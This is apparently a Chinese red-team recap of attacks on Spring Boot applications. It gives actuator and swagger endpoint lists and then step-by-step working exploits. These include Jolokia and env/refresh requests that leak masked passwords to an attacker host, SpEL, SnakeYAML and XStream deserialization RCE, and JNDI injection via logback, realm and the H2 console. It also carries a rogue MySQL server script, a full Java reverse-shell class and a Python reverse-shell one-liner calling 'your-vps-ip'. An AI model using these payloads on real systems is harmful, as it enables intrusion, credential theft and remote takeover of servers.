0x00前言 最近有机会作为红队(混子)参加了HW,还是碰到很多企业系统用的都是springboot框架,并且还有可多可少的漏洞可以进行利用,对这个springboot做一个记录复盘。
0x01漏洞集合 1、有关端点和接口的信息泄露 这些端点或者接口可以泄露一些敏感信息,比如在env中可以泄露部分的敏感变量,通过actuator泄露,可以看到可利用的接口列表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 /mappings /metrics /beans /configprops /actuator/metrics /actuator/mappings /actuator/beans /actuator/configprops /actuator/env /swagger /api-docs /api.html /swagger-ui /swagger/codes /api/index.html /api/v2/api-docs /v2/swagger.json /swagger-ui/html /distv2/index.html /swagger/index.html /sw/swagger-ui.html /api/swagger-ui.html /static/swagger.json /user/swagger-ui.html /swagger-ui/index.html /swagger-dubbo/api-docs /template/swagger-ui.html /swagger/static/index.html /dubbo-provider/distv2/index.html /spring-security-rest/api/swagger-ui.html /spring-security-oauth-resource/swagger-ui.html
2、配置不正当导致的泄露 其实这个泄露跟第一基本上一样,都是通过泄露端点或者接口后进一步访问其他接口路径导致的泄露
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 /actuator /auditevents /autoconfig /beans /caches /conditions /configprops /docs /dump /env /flyway /health /heapdump /httptrace /info /intergrationgraph /jolokia /logfile /loggers /liquibase /metrics /mappings /prometheus /refresh /scheduledtasks /sessions /shutdown /trace /threaddump /actuator/auditevents /actuator/beans /actuator/health /actuator/conditions /actuator/configprops /actuator/env /actuator/info /actuator/loggers /actuator/heapdump /actuator/threaddump /actuator/metrics /actuator/scheduledtasks /actuator/httptrace /actuator/mappings /actuator/jolokia /actuator/hystrix.stream
3、脱敏密码明文 目标网站需要有/jolokia或者/actuator/jolokia接口,同时使用jolokia-core依赖
jolokia
Jolokia 是一种 JMX-HTTP 桥接工具,通常用于将 Java 应用程序中的 JMX(Java Management Extensions)接口通过 HTTP 公开。它可以在多种 Java 应用中使用,包括 Spring Boot 应用程序。
在 Spring Boot 中,Jolokia 可以作为一个端点集成到 Actuator 中,从而允许开发人员通过 RESTful API 远程监控和管理应用程序。
1、先通过/env接口获得带*号的密码,并复制对应的属性
2、调用相关Mbean获取明文
调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法
spring 1.x
1 2 3 4 POST /jolokia Content-Type: application/json {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x
1 2 3 4 POST /actuator/jolokia Content-Type: application/json {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
调用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方法
spring 1.x
1 2 3 4 POST /jolokia Content-Type: application/json {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x
1 2 3 4 POST /actuator/jolokia Content-Type: application/json {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
4、脱敏密码明文 1、可以 GET 请求目标网站的/env
2、可以 POST 请求目标网站的/env
3、可以 POST 请求目标网站的/refresh接口刷新配置(存在spring-boot-starter-actuator`依赖)
4、目标使用了spring-cloud-starter-netflix-eureka-client`依赖
5、目标可以请求攻击者的服务器(请求可出外网)
还是先找到想要的星号密码属性名
设置 eureka.client.serviceUrl.defaultZone 属性
security.user.password是要获取的密码的属性名
spring 1.x
1 2 3 4 POST /env Content-Type: application/x-www-form-urlencoded eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
spring 2.x
1 2 3 4 POST /actuator/env Content-Type: application/json {"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
刷新配置
spring 1.x
1 2 POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x
1 2 POST /actuator/refresh Content-Type: application/json
会回显带有Authorization字段的参数
将获得的值进行base64解码就是密码明文
5、脱敏密码明文 1、通过POST/env设置属性触发目标对外网指定地址发起任意 http 请求
2、目标可以请求攻击者的服务器(请求可出外网)
在上一个的基础上还是启动一个监听nc
触发对外 http 请求
spring.cloud.bootstrap.location方法 适用于 明文数据中有特殊 url 字符的情况
spring 1.x
1 2 3 4 POST /env Content-Type: application/x-www-form-urlencoded spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
spring 2.x
1 2 3 4 POST /actuator/env Content-Type: application/json {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
eureka.client.serviceUrl.defaultZone方法 不适用于 明文数据中有特殊 url 字符的情况
spring 1.x
1 2 3 4 POST /env Content-Type: application/x-www-form-urlencoded eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
spring 2.x
1 2 3 4 POST /actuator/env Content-Type: application/json {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
刷新配置
spring 1.x
1 2 POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x
1 2 POST /actuator/refresh Content-Type: application/json
6、基于SpEL注入的RCE 1、spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
2、至少知道一个触发 springboot 默认错误页面的接口及参数名
假如有个接口存在传参,并传入值,返回的是500状态码+whitelabel error page则这里很大概率存在spel注入
然后去尝试${},表达式中用运算的形式,观察是否有运算后的值返回,有则可以确定是spel注入
将payload转hex进制形式
1 2 3 4 5 6 7 8 9 result = "" target = 'open -a Calculator' for x in target: result += hex (ord (x)) + "," print (result.rstrip(',' ))${T(java.lang.Runtime).getRuntime().exec (new String(new byte[]{0x6f ,0x70 ,0x65 ,0x6e ,0x20 ,0x2d ,0x61 ,0x20 ,0x43 ,0x61 ,0x6c ,0x63 ,0x75 ,0x6c ,0x61 ,0x74 ,0x6f ,0x72 }))}
7、SpringCloud的SnakeYaml的RCE 1、可以 POST 请求目标网站的/env`接口设置属性
2、可以 POST 请求目标网站的 /refresh接口刷新配置(存在spring-boot-starter-actuator`依赖)
3、目标依赖的spring-cloud-starter 版本 < 1.3.0.RELEASE
4、目标可以请求攻击者的 HTTP 服务器(请求可出外网)
托管jar和yml文件
yml文件
1 2 3 4 5 !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://your-vps-ip/example.jar"] ]] ]
jar包文件根据https://github.com/artsploit/yaml-payload来编写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 package artsploit;import javax.script.ScriptEngine;import javax.script.ScriptEngineFactory;import java.io.IOException;import java.util.List;public class AwesomeScriptEngineFactory implements ScriptEngineFactory { public AwesomeScriptEngineFactory () { try { Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator" ); } catch (IOException e) { e.printStackTrace(); } } @Override public String getEngineName () { return null ; } @Override public String getEngineVersion () { return null ; } @Override public List<String> getExtensions () { return null ; } @Override public List<String> getMimeTypes () { return null ; } @Override public List<String> getNames () { return null ; } @Override public String getLanguageName () { return null ; } @Override public String getLanguageVersion () { return null ; } @Override public Object getParameter (String key) { return null ; } @Override public String getMethodCallSyntax (String obj, String m, String... args) { return null ; } @Override public String getOutputStatement (String toDisplay) { return null ; } @Override public String getProgram (String... statements) { return null ; } @Override public ScriptEngine getScriptEngine () { return null ; } }
1 2 javac src/artsploit/AwesomeScriptEngineFactory.java jar -cvf yaml-payload.jar -C src/ .
设置 spring.cloud.bootstrap.location 属性
spring 1.x
1 2 3 4 POST /env Content-Type: application/x-www-form-urlencoded spring.cloud.bootstrap.location=http://your-vps-ip/example.yml
spring 2.x
1 2 3 4 POST /actuator/env Content-Type: application/json {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
刷新
spring 1.x
1 2 POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x
1 2 POST /actuator/refresh Content-Type: application/json
8、eureka中xstream基于反序列化的RCE 1、可以 POST 请求目标网站的/env接口设置属性
2、可以 POST 请求目标网站的/refresh接口刷新配置(存在spring-boot-starter-actuator`依赖)
3、目标使用的eureka-client< 1.8.7(通常包含在spring-cloud-starter-netflix-eureka-client依赖中)
4、目标可以请求攻击者的 HTTP 服务器(请求可出外网)
架设响应恶意 XStream payload 的网站
payload为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from flask import Flask, Responseapp = Flask(__name__) @app.route('/' , defaults={'path' : '' } ) @app.route('/<path:path>' , methods=['GET' , 'POST' ] ) def catch_all (path ): xml = """<linked-hash-set> <jdk.nashorn.internal.objects.NativeString> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>/bin/bash</string> <string>-c</string> <string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> </is> </dataSource> </dataHandler> </value> </jdk.nashorn.internal.objects.NativeString> </linked-hash-set>""" return Response(xml, mimetype='application/xml' ) if __name__ == "__main__" : app.run(host='0.0.0.0' , port=80 )
反弹一个nc
设置 eureka.client.serviceUrl.defaultZone 属性
spring 1.x
1 2 3 4 POST /env Content-Type: application/x-www-form-urlencoded eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
spring 2.x
1 2 3 4 POST /actuator/env Content-Type: application/json {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
刷新配置
spring 1.x
1 2 POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x
1 2 POST /actuator/refresh Content-Type: application/json
9、jolokia中logback基于JNDI注入的RCE 1、目标网站存在/jolokia或/actuator/jolokia`接口
2、目标使用了jolokia-core依赖(版本要求暂未知)并且环境中存在相关 MBean
3、目标可以请求攻击者的 HTTP 服务器(请求可出外网)
4、普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过
查看已存在的 MBeans
/jolokia/list
找到ch.qos.logback.classic.jmx.JMXConfigurator 和reloadByURL
托管xml
1 2 3 <configuration> <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" /> </configuration>
做一个反弹shell的java代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 import java.io.File;import java.io.InputStream;import java.io.OutputStream;import java.net.Socket;public class JNDIObject { static { try { String ip = "your-vps-ip" ; String port = "443" ; String py_path = null ; String[] cmd; if (!System.getProperty("os.name" ).toLowerCase().contains("windows" )) { String[] py_envs = new String []{"/bin/python" , "/bin/python3" , "/usr/bin/python" , "/usr/bin/python3" , "/usr/local/bin/python" , "/usr/local/bin/python3" }; for (int i = 0 ; i < py_envs.length; ++i) { String py = py_envs[i]; if ((new File (py)).exists()) { py_path = py; break ; } } if (py_path != null ) { if ((new File ("/bin/bash" )).exists()) { cmd = new String []{py_path, "-c" , "import pty;pty.spawn(\"/bin/bash\")" }; } else { cmd = new String []{py_path, "-c" , "import pty;pty.spawn(\"/bin/sh\")" }; } } else { if ((new File ("/bin/bash" )).exists()) { cmd = new String []{"/bin/bash" }; } else { cmd = new String []{"/bin/sh" }; } } } else { cmd = new String []{"cmd.exe" }; } Process p = (new ProcessBuilder (cmd)).redirectErrorStream(true ).start(); Socket s = new Socket (ip, Integer.parseInt(port)); InputStream pi = p.getInputStream(); InputStream pe = p.getErrorStream(); InputStream si = s.getInputStream(); OutputStream po = p.getOutputStream(); OutputStream so = s.getOutputStream(); while (!s.isClosed()) { while (pi.available() > 0 ) { so.write(pi.read()); } while (pe.available() > 0 ) { so.write(pe.read()); } while (si.available() > 0 ) { po.write(si.read()); } so.flush(); po.flush(); Thread.sleep(50L ); try { p.exitValue(); break ; } catch (Exception e) { } } p.destroy(); s.close(); }catch (Throwable e){ e.printStackTrace(); } } }
1 javac -source 1.8 -target 1.8 JNDIObject.java
之后会生成一个class文件,将恶意的文件放到开启托管服务器的同一路径下
架设一个marshalsec恶意的ldap服务器
https://github.com/mbechler/marshalsec
1 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
监听一个反弹shell端口
网页直接访问payload
1 /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml
10、jolokia中realm基于JNDI注入的RCE 1、目标网站存在/jolokia或/actuator/jolokia`接口
2、目标使用了jolokia-core`依赖(版本要求暂未知)并且环境中存在相关 MBean
3、目标可以请求攻击者的服务器(请求可出外网)
4、普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121(RMI),但相关环境可绕过
查看已经存在的MBean
访问/jolokia/list接口,查看是否存在type=MBeanFactory和createJNDIRealm`关键词
准备恶意代码
参考上方
托管class文件和xml
将class文件放到托管目录
1 2 3 <configuration > <insertFromJNDI env-entry-name ="ldap://your-vps-ip:1389/JNDIObject" as ="appName" /> </configuration >
搭建恶意rmi服务器
1 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
监听一个反弹shell端口
发送数据包
用准备好的python文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import requestsurl = 'http://127.0.0.1:8080/jolokia' create_realm = { "mbean" : "Tomcat:type=MBeanFactory" , "type" : "EXEC" , "operation" : "createJNDIRealm" , "arguments" : ["Tomcat:type=Engine" ] } wirte_factory = { "mbean" : "Tomcat:realmPath=/realm0,type=Realm" , "type" : "WRITE" , "attribute" : "contextFactory" , "value" : "com.sun.jndi.rmi.registry.RegistryContextFactory" } write_url = { "mbean" : "Tomcat:realmPath=/realm0,type=Realm" , "type" : "WRITE" , "attribute" : "connectionURL" , "value" : "rmi://your-vps-ip:1389/JNDIObject" } stop = { "mbean" : "Tomcat:realmPath=/realm0,type=Realm" , "type" : "EXEC" , "operation" : "stop" , "arguments" : [] } start = { "mbean" : "Tomcat:realmPath=/realm0,type=Realm" , "type" : "EXEC" , "operation" : "start" , "arguments" : [] } flow = [create_realm, wirte_factory, write_url, stop, start] for i in flow: print ('%s MBean %s: %s ...' % (i['type' ].title(), i['mbean' ], i.get('operation' , i.get('attribute' )))) r = requests.post(url, json=i) r.json() print (r.status_code)
根据需要修改目标地址,RMI 地址、端口等信息,然后在自己控制的服务器上运行
11、H2数据库设置query属性的RCE /restart 1、可以 POST 请求目标网站的/env`接口设置属性
2、可以 POST 请求目标网站的 /restart接口重启应用
3、存在com.h2database依赖(版本要求暂未知)
设置 spring.datasource.hikari.connection-test-query 属性
均无回显
spring 1.x
1 2 3 4 POST /env Content-Type: application/x-www-form-urlencoded spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');
spring 2.x
1 2 3 4 POST /actuator/env Content-Type: application/json {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');"}
重启应用
spring 1.x
1 2 POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x
1 2 POST /actuator/restart Content-Type: application/json
12、h2数据库的控制台基于JNDI注入的RCE 1、存在com.h2database`依赖(版本要求暂未知)
2、spring 配置中启用 h2 console spring.h2.console.enabled=true
3、目标可以请求攻击者的服务器(请求可出外网)
4、JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP 方式)
访问路由获得jessionid
准备恶意代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 import java.io.File;import java.io.InputStream;import java.io.OutputStream;import java.net.Socket;public class JNDIObject { static { try { String ip = "your-vps-ip" ; String port = "443" ; String py_path = null ; String[] cmd; if (!System.getProperty("os.name" ).toLowerCase().contains("windows" )) { String[] py_envs = new String []{"/bin/python" , "/bin/python3" , "/usr/bin/python" , "/usr/bin/python3" , "/usr/local/bin/python" , "/usr/local/bin/python3" }; for (int i = 0 ; i < py_envs.length; ++i) { String py = py_envs[i]; if ((new File (py)).exists()) { py_path = py; break ; } } if (py_path != null ) { if ((new File ("/bin/bash" )).exists()) { cmd = new String []{py_path, "-c" , "import pty;pty.spawn(\"/bin/bash\")" }; } else { cmd = new String []{py_path, "-c" , "import pty;pty.spawn(\"/bin/sh\")" }; } } else { if ((new File ("/bin/bash" )).exists()) { cmd = new String []{"/bin/bash" }; } else { cmd = new String []{"/bin/sh" }; } } } else { cmd = new String []{"cmd.exe" }; } Process p = (new ProcessBuilder (cmd)).redirectErrorStream(true ).start(); Socket s = new Socket (ip, Integer.parseInt(port)); InputStream pi = p.getInputStream(); InputStream pe = p.getErrorStream(); InputStream si = s.getInputStream(); OutputStream po = p.getOutputStream(); OutputStream so = s.getOutputStream(); while (!s.isClosed()) { while (pi.available() > 0 ) { so.write(pi.read()); } while (pe.available() > 0 ) { so.write(pe.read()); } while (si.available() > 0 ) { po.write(si.read()); } so.flush(); po.flush(); Thread.sleep(50L ); try { p.exitValue(); break ; } catch (Exception e) { } } p.destroy(); s.close(); }catch (Throwable e){ e.printStackTrace(); } } }
跟上面的JNDI一样的编译方式
1 javac -source 1.5 -target 1.5 JNDIObject.java
复制到托管文件的目录
架设一个恶意ladp服务器
marshalsec
1 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
监听一个反弹shell端口
发送JNDI数据包
1 2 3 4 5 6 POST /h2-console/login.do?jsessionid=xxxxxx Host: www.example.com Content-Type: application/x-www-form-urlencoded Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=
访问
1 http://127.0.0.1:9096/h2-console
13、mysql中jdbc基于反序列化的RCE 1、可以 POST 请求目标网站的/env接口设置属性
2、可以 POST 请求目标网站的/refresh接口刷新配置(存在spring-boot-starter-actuator`依赖)
3、目标环境中存在mysql-connector-java依赖
4、目标可以请求攻击者的服务器(请求可出外网)
查看环境依赖
/actuator/env 或 /env 搜索classpath
查询是否有mysql-connector-java,有则记录下版本号
搜索classpath是否有gadget依赖commons-collections、Jdk7u21、Jdk8u20
假设恶意mysql服务器
编写python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 / import osimport socketimport binasciidef server_send (conn, payload ): global count count += 1 print ("[*] Package order: {}, Send: {}" .format (count, payload)) conn.send(binascii.a2b_hex(payload)) def server_receive (conn ): global count, BUFFER_SIZE count += 1 data = conn.recv(BUFFER_SIZE) print ("[*] Package order: {}, Receive: {}" .format (count, data)) return str (data).lower() def run_mysql_server (): global count, deserialization_payload while True : count = 0 conn, addr = server_socks.accept() print ("[+] Connection from client -> {}:{}" .format (addr[0 ], addr[1 ])) greeting = '4a0000000a352e372e323900160000006c7a5d420d107a7700ffff080200ffc11500000000000000000000566d1a0a796d3e1338313747006d7973716c5f6e61746976655f70617373776f726400' server_send(conn, greeting) if os.path.isfile(deserialization_file): with open (deserialization_file, 'rb' ) as _f: deserialization_payload = binascii.b2a_hex(_f.read()) while True : server_receive(conn) server_send(conn, response_ok) data = server_receive(conn) if "session.auto_increment_increment" in data: _payload = '01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c210009000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f90000150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013007343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e035554430653595354454d0f52455045415441424c452d5245414405323838303007000016fe000002000200' server_send(conn, _payload) data = server_receive(conn) if "show warnings" in data: _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000' server_send(conn, _payload) data = server_receive(conn) if "set names" in data: server_send(conn, response_ok) data = server_receive(conn) if "set character_set_results" in data: server_send(conn, response_ok) data = server_receive(conn) if "show session status" in data: _data = '0100000102' _data += '2700000203646566056365736869046f626a73046f626a730269640269640c3f000b000000030000000000' _data += '2900000303646566056365736869046f626a73046f626a73036f626a036f626a0c3f00ffff0000fc9000000000' _payload_hex = str (hex (len (deserialization_payload)/2 )).replace('0x' , '' ).zfill(4 ) _payload_length = _payload_hex[2 :4 ] + _payload_hex[0 :2 ] _data_hex = str (hex (len (deserialization_payload)/2 + 5 )).replace('0x' , '' ).zfill(6 ) _data_lenght = _data_hex[4 :6 ] + _data_hex[2 :4 ] + _data_hex[0 :2 ] _data += _data_lenght + '04' + '0131fc' + _payload_length + deserialization_payload _data += '07000005fe000022000100' server_send(conn, _data) data = server_receive(conn) if "show warnings" in data: _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000' server_send(conn, _payload) break try : conn.close() except Exception as e: pass if __name__ == "__main__" : HOST = "0.0.0.0" PORT = 3306 deserialization_file = r'payload.ser' if os.path.isfile(deserialization_file): with open (deserialization_file, 'rb' ) as f: deserialization_payload = binascii.b2a_hex(f.read()) else : deserialization_payload = 'aced****(your deserialized hex data)' count = 0 BUFFER_SIZE = 1024 response_ok = '0700000200000002000000' print ("[+] rogue mysql server Listening on {}:{}" .format (HOST, PORT)) server_socks = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socks.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) server_socks.bind((HOST, PORT)) server_socks.listen(1 ) run_mysql_server()
用yso工具编写payload
1 java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
设置 spring.datasource.url 属性
mysql 5.x
1 jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
mysql 8.x
1 jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
spring 1.x
1 2 3 4 POST /env Content-Type: application/x-www-form-urlencoded spring.datasource.url=对应属性值
spring 2.x
1 2 3 4 POST /actuator/env Content-Type: application/json {"name":"spring.datasource.url","value":"对应属性值"}
刷新配置
spring 1.x
1 2 POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x
1 2 POST /actuator/refresh Content-Type: application/json
触发数据库查询
尝试访问网站已知的数据库查询的接口,或者寻找其他方式,主动触发源网站进行数据库查询,然后漏洞会被触发
14、logging.config的logback基于JNDI的RCE /restart 1、可以 POST 请求目标网站的/env接口设置属性
2、可以 POST 请求目标网站的/restart接口重启应用
3、普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过
4、 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出
5、 HTTP 服务器如果返回含有畸形 xml 语法内容的文件,会导致程序异常退出
6、 JNDI 服务返回的 object 需要实现javax.naming.spi.ObjectFactory`接口,否则会导致程序异常退出
托管xml文件
1 2 3 <configuration> <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" /> </configuration>
托管恶意 ldap 服务及代码
1 java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip
设置 logging.config 属性
spring 1.x
1 2 3 4 POST /env Content-Type: application/x-www-form-urlencoded logging.config=http://your-vps-ip/example.xml
spring 2.x
1 2 3 4 POST /actuator/env Content-Type: application/json {"name":"logging.config","value":"http://your-vps-ip/example.xml"}
重启应用
spring 1.x
1 2 POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x
1 2 POST /actuator/restart Content-Type: application/json
15、logging.config的groovyRCE /restart 1、可以 POST 请求目标网站的/env接口设置属性
2、可以 POST 请求目标网站的 /restart`接口重启应用
注:1、目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出
2、 HTTP 服务器如果返回含有畸形 groovy 语法内容的文件,会导致程序异常退出
3、环境中需要存在 groovy 依赖,否则会导致程序异常退出
托管groovy文件
并在里面输入要执行的命令
1 Runtime.getRuntime().exec(" Calculator");
设置logging.config属性
spring 1.x
1 2 3 4 POST /env Content-Type: application/x-www-form-urlencoded logging.config=http://your-vps-ip/example.groovy
spring 2.x
1 2 3 4 POST /actuator/env Content-Type: application/json {"name":"logging.config","value":"http://your-vps-ip/example.groovy"}
访问/restart接口重启
spring 1.x
1 2 3 4 POST /restart Content-Type: application/x-www-form-urlencoded {"name":"logging.config"}
spring 2.x
1 2 3 4 POST /actuator/restart Content-Type: application/json {"name":"logging.config"}
